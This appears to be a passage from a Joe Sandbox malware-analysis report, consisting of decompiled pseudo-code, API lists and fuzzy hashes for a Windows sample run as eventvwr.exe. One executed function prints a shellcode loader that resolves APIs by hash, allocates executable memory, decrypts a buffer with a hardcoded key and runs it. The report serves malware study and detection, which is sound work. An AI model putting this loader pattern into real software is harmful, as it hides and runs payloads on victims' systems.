0x00c11eea
0x00c11eeb
0x00c11ef0
0x00c11ef8
0x00c11f03
0x00c11f09
0x00c11f15
0x00c11f18
0x00c11f48
0x00c11f4a
0x00c11f55
0x00c11f5b
0x00c11f5d
0x00c11fa2
0x00c11fa2
0x00c11fa4
0x00000000
0x00000000
0x00c11fab
0x00c11fb0
0x00c11fb3
0x00c11fbb
0x00c11fc1
0x00c11fc4
0x00c11fcc
0x00000000
0x00c11fc6
0x00c11fc6
0x00000000
0x00c11fc6
0x00000000
0x00c11fc4
0x00c11f5f
0x00c11f5f
0x00c11f5f
0x00c11f1a
0x00c11f1a
0x00c11f1a
0x00c11f1c
0x00000000
0x00000000
0x00c11f23
0x00c11f28
0x00c11f2b
0x00c11f33
0x00c11f39
0x00c11f3c
0x00c11f9c
0x00000000
0x00c11f3e
0x00c11f3e
0x00c11f3e
0x00c11f3e
0x00c11f3e
0x00000000
0x00c11f3c
0x00c11f42
0x00c11f46
0x00000000
0x00000000
0x00c11f46
0x00c11f66
0x00c11f6d
0x00c11f71
0x00c11f71
0x00c11f71
0x00c11efa
0x00c11efa
0x00c11efa
0x00c11f81
0x00c11f87
0x00c11f8e
0x00c11f8f
0x00c11f9b
0x00000000

APIs

__EH_prolog3_catch.LIBCMT ref: 00C11EB4
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHD@Z.MSVCP90(?,?,00000014,00C1160C,?,FrameRate: ), ref: 00C11F33
?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHPBDH@Z.MSVCP90(?,?,?,00000014,00C1160C,?,FrameRate: ), ref: 00C11F55
?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP90(?,00000000), ref: 00C11F81
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHD@Z.MSVCP90(?), ref: 00C11FBB

Memory Dump Source

Source File: 00000000.00000002.203178859.0000000000C11000.00000020.00020000.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000000.00000002.203171800.0000000000C10000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.203184717.0000000000C14000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.203190376.0000000000C16000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.203195544.0000000000C17000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c10000_mormanti.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?sputc@?$basic_streambuf@$?setstate@?$basic_ios@?sputn@?$basic_streambuf@H_prolog3_catch
String ID:
API String ID: 1934335076-0
Opcode ID: 42d4b20e9b5760a3dbce8ed36a7011867400e62ba9c9d2efdd2165f8666af61a
Instruction ID: 016cf85252668003b2648736761e1e82606584cd3335aae2cfd99635070e640f
Opcode Fuzzy Hash: 42d4b20e9b5760a3dbce8ed36a7011867400e62ba9c9d2efdd2165f8666af61a
Instruction Fuzzy Hash: 6C415034A002458FCB11CF99C589BED7BF0AF1A314F284558EA51DB3A2C739DE85DB41

Uniqueness

Uniqueness Score: -1.00%

Function 00C11DA6, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 45%

			E00C11DA6(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t11;
				void* _t18;
				void* _t19;
				void* _t23;
				void* _t24;

				_t19 = __edx;
				_t18 = __ecx;
				_push(0x44);
				E00C130B8(E00C13350, __ebx, __edi, __esi);
				_t11 =  *((intOrPtr*)(__ecx + 0x18));
				_t23 = 0x6666666 - _t11;
				if(0x6666666 < __edx) {
					_t18 = _t24 - 0x28;
					__imp__??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z("list<T> too long");
					_t3 = _t24 - 4;
					 *(_t24 - 4) =  *(_t24 - 4) & 0x00000000;
					_push(_t24 - 0x28);
					_push(_t24 - 0x50);
					E00C11083(_t23,  *_t3);
					_push(0xc14748);
					_t11 = _t24 - 0x50;
					_push(_t11);
					L00C131EC();
				}
				_t12 = _t11 + _t19;
				 *((intOrPtr*)(_t18 + 0x18)) = _t11 + _t19;
				return E00C13121(_t12);
			}

0x00c11da6
0x00c11da6
0x00c11da6
0x00c11dad
0x00c11db2
0x00c11dba
0x00c11dbe
0x00c11dc5
0x00c11dc8
0x00c11dce
0x00c11dce
0x00c11dd5
0x00c11dd9
0x00c11dda
0x00c11ddf
0x00c11de4
0x00c11de7
0x00c11de8
0x00c11de8
0x00c11ded
0x00c11def
0x00c11df7

APIs

__EH_prolog3.LIBCMT ref: 00C11DAD
??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z.MSVCP90(list<T> too long,00000044,00C11C74,?,?,?,?,00C165F4,?,00C1176B,00C165F4,?,?,00000000), ref: 00C11DC8

Part of subcall function 00C11083: __EH_prolog3.LIBCMT ref: 00C1108A
Part of subcall function 00C11083: ??0exception@std@@QAE@XZ.MSVCR90(00000000,00C11DDF,?,?), ref: 00C11094
Part of subcall function 00C11083: ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z.MSVCP90(?), ref: 00C110AA

_CxxThrowException.MSVCR90(?,00C14748), ref: 00C11DE8

Strings

list<T> too long, xrefs: 00C11DC0

Memory Dump Source

Source File: 00000000.00000002.203178859.0000000000C11000.00000020.00020000.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000000.00000002.203171800.0000000000C10000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.203184717.0000000000C14000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.203190376.0000000000C16000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.203195544.0000000000C17000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c10000_mormanti.jbxd

Similarity

API ID: ??0?$basic_string@D@2@@std@@D@std@@H_prolog3U?$char_traits@V?$allocator@$??0exception@std@@ExceptionThrowV01@@
String ID: list<T> too long
API String ID: 265151731-4027344264
Opcode ID: ab2da16fa2daeb6d69ec4c56d119111b970747fd1431d735683dd4ecdb1c03cd
Instruction ID: 30e903c907c844b2f57704f5f81bfbdf00e215bef716f57bff4e8b732d486b52
Opcode Fuzzy Hash: ab2da16fa2daeb6d69ec4c56d119111b970747fd1431d735683dd4ecdb1c03cd
Instruction Fuzzy Hash: 30F0A072D00248ABCF04EBE0E846ADC77B86B0A304FA80028E100E7150EA75CB85F7A1

Uniqueness

Uniqueness Score: -1.00%

Function 00C12435, Relevance: 6.0, APIs: 4, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00C12435(struct HINSTANCE__* __eax, int _a4) {
				struct tagRECT _v20;
				struct HWND__* _t24;

				 *0xc1640c = __eax;
				_t24 = CreateWindowExW(0, 0xc16410, 0xc164d8, 0xcf0000, 0x80000000, 0, 0x80000000, 0, 0, 0, __eax, 0);
				if(_t24 != 0) {
					GetClientRect(_t24,  &_v20);
					E00C11129(_v20.right - _v20.left, _v20.bottom - _v20.top);
					ShowWindow(_t24, _a4);
					UpdateWindow(_t24);
					return 1;
				}
				return 0;
			}

0x00c12444
0x00c12467
0x00c1246b
0x00c12476
0x00c1248a
0x00c12495
0x00c1249c
0x00000000
0x00c124a4
0x00000000

APIs

CreateWindowExW.USER32 ref: 00C12461
GetClientRect.USER32 ref: 00C12476
ShowWindow.USER32(00000000,00C1235C,?,?,00C1235C,?), ref: 00C12495
UpdateWindow.USER32(00000000), ref: 00C1249C

Memory Dump Source

Source File: 00000000.00000002.203178859.0000000000C11000.00000020.00020000.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000000.00000002.203171800.0000000000C10000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.203184717.0000000000C14000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.203190376.0000000000C16000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.203195544.0000000000C17000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c10000_mormanti.jbxd

Similarity

API ID: Window$ClientCreateRectShowUpdate
String ID:
API String ID: 2980773425-0
Opcode ID: e538f873d972a54e773443fea960c5821c5e85220614da626e6234382dec7350
Instruction ID: 046a31a6a618d5cf8b0d088eba916c7c231a82ceb2fa9a0c274777916678f684
Opcode Fuzzy Hash: e538f873d972a54e773443fea960c5821c5e85220614da626e6234382dec7350
Instruction Fuzzy Hash: 4B01FF76540124BE9710DBA9DC49EFF7FACEB4B660B204414F919D2150D624954196A4

Uniqueness

Uniqueness Score: -1.00%

Function 00C119A1, Relevance: 6.0, APIs: 4, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E00C119A1(intOrPtr* __esi, struct HDC__* _a4, intOrPtr _a8) {
				char _v5;
				char _v6;
				char _v7;
				char _v8;
				struct HDC__* _v12;
				struct HDC__* _v16;
				struct HDC__* _t19;
				void* _t21;
				void* _t25;
				void* _t30;
				intOrPtr* _t31;

				_t31 = __esi;
				_t19 = _a4;
				_t25 =  *((intOrPtr*)(__esi + 0xc)) -  *((intOrPtr*)(__esi + 4));
				_t30 =  *((intOrPtr*)(__esi + 8)) -  *__esi;
				_v16 = _t19;
				_v12 = CreateCompatibleDC(_t19);
				_t21 =  *0xc165d8; // 0x0
				if(_t21 == 0) {
					_push(_a8);
					_push(_v16);
					_t21 = E00C11A1F(__esi);
				}
				SelectObject(_v12, _t21);
				_v8 = 0;
				_v7 = 0;
				_v6 = 0xff;
				_v5 = 1;
				__imp__AlphaBlend(_v16,  *_t31,  *((intOrPtr*)(_t31 + 4)), _t30, _t25, _v12, 0, 0, _t30, _t25, _v8);
				return DeleteDC(_v12);
			}

0x00c119a1
0x00c119a7
0x00c119ae
0x00c119b5
0x00c119b8
0x00c119c1
0x00c119c4
0x00c119cb
0x00c119cd
0x00c119d2
0x00c119d5
0x00c119db
0x00c119e0
0x00c119e6
0x00c119ea
0x00c119ee
0x00c119f2
0x00c11a0c
0x00c11a1e

APIs

CreateCompatibleDC.GDI32(?), ref: 00C119BB
SelectObject.GDI32(?,00000000), ref: 00C119E0
AlphaBlend.MSIMG32(?,?,00000000,?,?,?,00000000,00000000,?,?,00000000), ref: 00C11A0C
DeleteDC.GDI32(?), ref: 00C11A15

Part of subcall function 00C11A1F: OffsetRect.USER32(?,?,00000000), ref: 00C11A53

Memory Dump Source

Source File: 00000000.00000002.203178859.0000000000C11000.00000020.00020000.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000000.00000002.203171800.0000000000C10000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.203184717.0000000000C14000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.203190376.0000000000C16000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.203195544.0000000000C17000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c10000_mormanti.jbxd

Similarity

API ID: AlphaBlendCompatibleCreateDeleteObjectOffsetRectSelect
String ID:
API String ID: 2925259497-0
Opcode ID: 9843c6abacb897f562da379b821f7726391e4e0c7b5672ef64edef5d61ba351e
Instruction ID: 72bb423b19cc41ddac3dd5fffff233b36b0239f50e1c0fb60626185dfc99f4e3
Opcode Fuzzy Hash: 9843c6abacb897f562da379b821f7726391e4e0c7b5672ef64edef5d61ba351e
Instruction Fuzzy Hash: B1113935900248FFDF119FA9DC48F8EBFB9FF4A710F108099F655A21A0C731AA54AB20

Uniqueness

Uniqueness Score: -1.00%

Function 00C11D28, Relevance: 6.0, APIs: 4, Instructions: 21
COMMON

Download Yara Rule

C-Code - Quality: 25%

			E00C11D28(void* __esi, void* __eflags) {
				void* _t10;
				intOrPtr* _t11;
				void* _t14;
				void* _t19;
				intOrPtr* _t21;
				void* _t22;

				_t10 = E00C130B8(E00C132BF, _t14, _t19, __esi);
				_t21 =  *((intOrPtr*)(_t22 + 8));
				 *(_t22 - 4) =  *(_t22 - 4) & 0x00000000;
				__imp__?uncaught_exception@std@@YA_NXZ(0);
				if(_t10 == 0) {
					__imp__?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ();
				}
				 *(_t22 - 4) =  *(_t22 - 4) | 0xffffffff;
				_t11 =  *_t21;
				_t12 =  *((intOrPtr*)( *((intOrPtr*)( *_t11 + 4)) + _t11 + 0x28));
				if( *((intOrPtr*)( *((intOrPtr*)( *_t11 + 4)) + _t11 + 0x28)) != 0) {
					__imp__?_Unlock@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEXXZ();
				}
				return E00C13121(_t12);
			}

0x00c11d2f
0x00c11d34
0x00c11d37
0x00c11d3b
0x00c11d43
0x00c11d47
0x00c11d47
0x00c11d4d
0x00c11d51
0x00c11d58
0x00c11d5e
0x00c11d62
0x00c11d62
0x00c11d6d

APIs

__EH_prolog3.LIBCMT ref: 00C11D2F
?uncaught_exception@std@@YA_NXZ.MSVCP90(00000000,00C11F94,?), ref: 00C11D3B
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP90 ref: 00C11D47
?_Unlock@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP90 ref: 00C11D62

Memory Dump Source

Source File: 00000000.00000002.203178859.0000000000C11000.00000020.00020000.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000000.00000002.203171800.0000000000C10000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.203184717.0000000000C14000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.203190376.0000000000C16000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.203195544.0000000000C17000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c10000_mormanti.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?uncaught_exception@std@@H_prolog3Osfx@?$basic_ostream@Unlock@?$basic_streambuf@
String ID:
API String ID: 3571924652-0
Opcode ID: cbea2e82ea0336b9ecfa24c46ccdb8c4bc7403f7a2c9aed12364deeed6fc3b31
Instruction ID: 6ed55b6245841511601a1b0bfb9ff908c3cb25e3e3f850785f4a192bd71a00c0
Opcode Fuzzy Hash: cbea2e82ea0336b9ecfa24c46ccdb8c4bc7403f7a2c9aed12364deeed6fc3b31
Instruction Fuzzy Hash: 27E06D38200240DFDB14EF65D459B9C77B1BF1B315F24815CE6529B3A1CB329E45EB50

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: eventvwr.exe PID: 2416 Parent PID: 3412 eventvwr.exeCOMMON

Execution Graph

Execution Coverage:	10.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	309
Total number of Limit Nodes:	4

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00C121FD, Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 164
windowlibrarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 71%

			E00C121FD(void* __edx, struct HACCEL__* _a4, intOrPtr _a16) {
				signed int _v8;
				void _v60;
				void* _v64;
				signed short _v68;
				intOrPtr _v72;
				struct HACCEL__* _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				struct tagMSG _v112;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t29;
				int _t32;
				signed int _t34;
				struct HACCEL__* _t37;
				void* _t44;
				intOrPtr _t45;
				struct HACCEL__* _t47;
				struct HACCEL__* _t62;
				signed int _t77;
				void* _t83;
				void* _t90;
				signed int _t91;

				_t83 = __edx;
				_t29 =  *0xc16018; // 0x4f3fb031
				_v8 = _t29 ^ _t91;
				_v76 = _a4;
				_v68 = 0x442c83;
				_t32 = LoadLibraryExA("schtasks.exe", 0, 0); // executed
				if(_t32 != 0) {
					_v68 = 0xcfdb;
					 *0xc16034 = 0x5887;
				}
				do {
					__imp___time64(0);
					srand(_t32);
					_t34 = rand() & 0x80000003;
					if(_t34 < 0) {
						_t34 = (_t34 - 0x00000001 | 0xfffffffc) + 1;
					}
					_t32 = _t34 + 1;
				} while (_t32 <= 3);
				_t77 = 0xc;
				memcpy( &_v60, "0WmfLjNQIqUtwtvadlxNXC?y~xbeK~$uLkOQa%?~Wj4a3#Lu", _t77 << 2);
				asm("movsb");
				_t89 = E00C11FF2();
				_t37 = E00C12047(_t36, 0x1e27f4fd);
				_t87 = _t37;
				_v64 = E00C12047(_t36, 0xbce8a04f);
				_v80 = E00C12047(_t36, 0x5e97c023);
				_v84 = E00C12047(_t89, 0x355a1f6f);
				_v72 = E00C12047(_t89, 0x5b9200a9);
				_t90 = _t37->i(0, _v68 & 0x0000ffff, 0xa);
				if(_t90 != 0) {
					_t44 = _v64(0, _t90);
					_v64 = _t44;
					if(_t44 == 0) {
						goto L6;
					}
					_t47 = _v80(0, _t90);
					_t87 = _t47;
					_t90 = _v84(_v72(0, _t87, atoi("4096") | 0x00002000, 0x40, 0));
					if(_t90 == 0) {
						goto L6;
					}
					memcpy(_t90, _v64, _t87);
					E00C120CD();
					 *_t90(_t90, _t87,  &_v60, _t90);
					_t87 = _v76;
					_t90 = LoadStringW;
					LoadStringW(_t87, 0x67, 0xc164d8, 0x64);
					LoadStringW(_t87, 0x6d, 0xc16410, 0x64);
					E00C123C4(_t87);
					if(E00C12435(_t87, _a16) == 0) {
						goto L6;
					} else {
						_t62 = LoadAcceleratorsW(_t87, 0x6d);
						_t90 = GetMessageW;
						_t87 = _t62;
						while(GetMessageW( &_v112, 0, 0, 0) != 0) {
							if(TranslateAcceleratorW(_v112, _t87,  &_v112) == 0) {
								TranslateMessage( &_v112);
								DispatchMessageW( &_v112);
							}
						}
						E00C111BA();
						_t45 = _v112.wParam;
						L15:
						return E00C1272C(_t45, 0, _v8 ^ _t91, _t83, _t87, _t90);
					}
				}
				L6:
				_t45 = 0;
				goto L15;
			}

APIs

LoadLibraryExA.KERNELBASE(schtasks.exe,00000000,00000000), ref: 00C12226
_time64.MSVCR90 ref: 00C12242
srand.MSVCR90 ref: 00C12249
rand.MSVCR90 ref: 00C12251
atoi.MSVCR90 ref: 00C122F3
VirtualAllocExNuma.KERNELBASE(00000000), ref: 00C12306
memcpy.MSVCR90 ref: 00C12314
LoadStringW.USER32(?,00000067,00C164D8,00000064), ref: 00C1233D
LoadStringW.USER32(?,0000006D,00C16410,00000064), ref: 00C12349
LoadAcceleratorsW.USER32 ref: 00C12368
TranslateAcceleratorW.USER32(?,00000000,?), ref: 00C12380
TranslateMessage.USER32(?), ref: 00C1238E
DispatchMessageW.USER32 ref: 00C12398
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00C123A5

Strings

0WmfLjNQIqUtwtvadlxNXC?y~xbeK~$uLkOQa%?~Wj4a3#Lu, xrefs: 00C1226C
4096, xrefs: 00C122EC
schtasks.exe, xrefs: 00C12217

Memory Dump Source

Source File: 00000002.00000002.465008585.0000000000C11000.00000020.00020000.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000002.00000002.464985336.0000000000C10000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.465026006.0000000000C14000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.465049572.0000000000C16000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.465067843.0000000000C17000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c10000_eventvwr.jbxd

Similarity

API ID: Load$Message$StringTranslate$AcceleratorAcceleratorsAllocDispatchLibraryNumaVirtual_time64atoimemcpyrandsrand
String ID: 0WmfLjNQIqUtwtvadlxNXC?y~xbeK~$uLkOQa%?~Wj4a3#Lu$4096$schtasks.exe
API String ID: 1692861963-3368545145
Opcode ID: 8c99ab0c7096f4e38d415a792dd8f07fdf6f288ca7c95037349106f49155464b
Instruction ID: 10b977d3cb515a8d67673702935da28c695f4bb38f3c8e7a6f67b5b831b88493
Opcode Fuzzy Hash: 8c99ab0c7096f4e38d415a792dd8f07fdf6f288ca7c95037349106f49155464b
Instruction Fuzzy Hash: 4451B4B5D00218BBDB14ABB09C89FEE7ABCEF4B310F104425F911F7150DB748991AB60

Uniqueness

Uniqueness Score: -1.00%

Function 00C1285B, Relevance: 3.0, APIs: 2, Instructions: 17
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00C1283F: __onexit.MSVCRT ref: 00C12847

__wgetmainargs.MSVCR90 ref: 00C12886
_amsg_exit.MSVCR90 ref: 00C1289A

Memory Dump Source

Source File: 00000002.00000002.465008585.0000000000C11000.00000020.00020000.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000002.00000002.464985336.0000000000C10000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.465026006.0000000000C14000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.465049572.0000000000C16000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.465067843.0000000000C17000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c10000_eventvwr.jbxd

Similarity

API ID: __onexit__wgetmainargs_amsg_exit
String ID:
API String ID: 4257578400-0
Opcode ID: 35e4ea89e8fa84dab0f9274beac45ca115afeccc58a9c076846ca3d26f280163
Instruction ID: 63f4e73cc7cda97164264f3f37c37b775af22abefa961bd64677ec10d0b2207d
Opcode Fuzzy Hash: 35e4ea89e8fa84dab0f9274beac45ca115afeccc58a9c076846ca3d26f280163
Instruction Fuzzy Hash: 7FE0ECB85423016AD604AF249C027D936A0B71B709B42C0B8E941962A1DBB080E5F70A

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00C1272C, Relevance: 10.6, APIs: 7, Instructions: 58
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 85%

			E00C1272C(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t13;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr _t23;
				intOrPtr _t24;
				intOrPtr _t25;
				intOrPtr* _t29;
				void* _t32;

				_t25 = __esi;
				_t24 = __edi;
				_t23 = __edx;
				_t20 = __ecx;
				_t19 = __ebx;
				_t6 = __eax;
				_t32 = _t20 -  *0xc16018; // 0x4f3fb031
				if(_t32 == 0) {
					asm("repe ret");
				}
				 *0xc161d8 = _t6;
				 *0xc161d4 = _t20;
				 *0xc161d0 = _t23;
				 *0xc161cc = _t19;
				 *0xc161c8 = _t25;
				 *0xc161c4 = _t24;
				 *0xc161f0 = ss;
				 *0xc161e4 = cs;
				 *0xc161c0 = ds;
				 *0xc161bc = es;
				 *0xc161b8 = fs;
				 *0xc161b4 = gs;
				asm("pushfd");
				_pop( *0xc161e8);
				 *0xc161dc =  *_t29;
				 *0xc161e0 = _v0;
				 *0xc161ec =  &_a4;
				 *0xc16128 = 0x10001;
				_t11 =  *0xc161e0; // 0x0
				 *0xc160dc = _t11;
				 *0xc160d0 = 0xc0000409;
				 *0xc160d4 = 1;
				_t12 =  *0xc16018; // 0x4f3fb031
				_v812 = _t12;
				_t13 =  *0xc1601c; // 0xb0c04fce
				_v808 = _t13;
				 *0xc16120 = IsDebuggerPresent();
				_push(1);
				L00C1308E();
				SetUnhandledExceptionFilter(0);
				UnhandledExceptionFilter(0xc14254);
				if( *0xc16120 == 0) {
					_push(1);
					L00C1308E();
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

APIs

IsDebuggerPresent.KERNEL32 ref: 00C12C25
_crt_debugger_hook.MSVCR90(00000001), ref: 00C12C32
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00C12C3A
UnhandledExceptionFilter.KERNEL32(00C14254), ref: 00C12C45
_crt_debugger_hook.MSVCR90(00000001), ref: 00C12C56
GetCurrentProcess.KERNEL32(C0000409), ref: 00C12C61
TerminateProcess.KERNEL32(00000000), ref: 00C12C68

Memory Dump Source

Source File: 00000002.00000002.465008585.0000000000C11000.00000020.00020000.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000002.00000002.464985336.0000000000C10000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.465026006.0000000000C14000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.465049572.0000000000C16000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.465067843.0000000000C17000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c10000_eventvwr.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled_crt_debugger_hook$CurrentDebuggerPresentTerminate
String ID:
API String ID: 3369434319-0
Opcode ID: 94ba875b617978d77ab22ed9a7bd25b07491e21a9467eba8b402f2e18a90f439
Instruction ID: 59bbf85b3b7af2a8cc4db606e1224606f3967854976eae17940ff2feeacac1f5
Opcode Fuzzy Hash: 94ba875b617978d77ab22ed9a7bd25b07491e21a9467eba8b402f2e18a90f439
Instruction Fuzzy Hash: C221CCB4801204EFCB51DF25E8487CC3BB4BB0F315F21C15AE90987262E7B19A85DF59

Uniqueness

Uniqueness Score: -1.00%

Function 00C113AF, Relevance: 45.7, APIs: 23, Strings: 3, Instructions: 231
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 59%

			E00C113AF(void* __ebx, void* __edi, void* __esi, void* __eflags, long long __fp0) {
				intOrPtr _t104;
				void* _t105;
				signed int _t114;
				intOrPtr _t117;
				struct HRGN__* _t120;
				signed int _t128;
				void* _t148;
				void* _t150;
				CHAR* _t151;
				int _t152;
				int _t154;
				void* _t159;
				signed int _t160;
				intOrPtr _t177;
				struct HDC__* _t178;
				int _t180;
				intOrPtr _t181;
				void* _t187;
				void* _t188;
				long long* _t189;
				long long* _t190;
				void* _t208;

				_push(0x10c);
				E00C130B8(E00C1339A, __ebx, __edi, __esi);
				GetClientRect( *(_t187 + 8), _t187 - 0x28);
				_t177 =  *((intOrPtr*)(_t187 - 0x1c));
				_t180 =  *(_t187 - 0x24);
				 *((intOrPtr*)(_t187 - 0x10)) =  *((intOrPtr*)(_t187 - 0x20)) -  *(_t187 - 0x28);
				asm("fild dword [ebp-0x10]");
				 *((intOrPtr*)(_t187 - 0x10)) = _t177 - _t180;
				 *((long long*)(_t187 - 0x38)) = __fp0;
				_t104 =  *0xc16050; // 0x177
				asm("fild dword [ebp-0x10]");
				 *((long long*)(_t187 - 0x40)) = __fp0;
				asm("fchs");
				asm("fxch st0, st1");
				_t208 = st1 - st2;
				asm("fild dword [0xc16050]");
				if(_t104 < 0) {
					_t208 = _t208 +  *0xc14438;
				}
				asm("fdivp st1, st0");
				asm("fimul dword [0xc165a8]");
				asm("faddp st1, st0");
				_t105 = E00C13140(_t104, _t208);
				 *(_t187 - 0x14) = _t105;
				asm("fiadd dword [ebp-0x14]");
				 *(_t187 - 0x50) = _t105;
				 *(_t187 - 0x4c) = _t180;
				_t181 = E00C13140(_t105, _t208);
				 *((intOrPtr*)(_t187 - 0x44)) = _t177;
				_t178 =  *(_t187 + 0xc);
				 *((intOrPtr*)(_t187 - 0x48)) = _t181;
				 *((intOrPtr*)(_t187 - 0x10)) = 0x99ff;
				if( *0xc1603c != 0) {
					_t178 = E00C11271( *(_t187 + 8));
					 *((intOrPtr*)(_t187 - 0x10)) = 0x8e48;
				}
				FillRect(_t178, _t187 - 0x28, GetStockObject(0));
				 *(_t187 - 0x18) = CreateRectRgnIndirect(_t187 - 0x28);
				asm("cdq");
				_t160 = 3;
				_t114 = (_t181 -  *(_t187 - 0x14)) / _t160;
				 *((intOrPtr*)(_t187 - 0x6c)) =  *((intOrPtr*)(_t187 - 0x44));
				 *(_t187 - 0x64) =  *(_t187 - 0x4c);
				_t117 =  *((intOrPtr*)(_t187 - 0x20));
				 *((intOrPtr*)(_t187 - 0x60)) = _t117;
				 *((intOrPtr*)(_t187 - 0x58)) = _t117;
				 *((intOrPtr*)(_t187 - 0x54)) =  *((intOrPtr*)(_t187 - 0x1c));
				 *(_t187 - 0x70) =  *(_t187 - 0x14) + _t114;
				 *((intOrPtr*)(_t187 - 0x68)) = _t181 - _t114;
				 *(_t187 - 0x5c) =  *(_t187 - 0x24);
				_t120 = CreatePolygonRgn(_t187 - 0x70, 4, 1);
				 *(_t187 - 0x14) = _t120;
				CombineRgn( *(_t187 - 0x18),  *(_t187 - 0x18), _t120, 4);
				 *(_t187 - 0x2c) = SaveDC( *(_t187 + 0xc));
				SelectObject(_t178,  *0xc165c0);
				SelectObject(_t178, GetStockObject(0));
				_t189 = _t188 - 0x10;
				 *((long long*)(_t189 + 8)) =  *((long long*)(_t187 - 0x40));
				 *_t189 =  *((long long*)(_t187 - 0x38));
				_t128 = E00C1186A(0xc165f4);
				_t190 = _t189 + 0xc;
				 *((long long*)(_t190 + 8)) =  *((long long*)(_t187 - 0x40));
				 *_t190 =  *((long long*)(_t187 - 0x38));
				E00C1186A(0xc16610, _t178,  *(_t187 - 0x18), (_t128 & 0xffffff00 |  *0xc1603d == 0x00000000) & 0x000000ff, _t178,  *(_t187 - 0x14),  *0xc1603d & 0x000000ff);
				RestoreDC( *(_t187 + 0xc),  *(_t187 - 0x2c));
				DeleteObject( *(_t187 - 0x14));
				DeleteObject( *(_t187 - 0x18));
				E00C116A2(E00C119A1(_t187 - 0x50, _t178,  *((intOrPtr*)(_t187 - 0x10))), (_t181 -  *(_t187 - 0x14)) % _t160,  *((long long*)(_t187 - 0x38)));
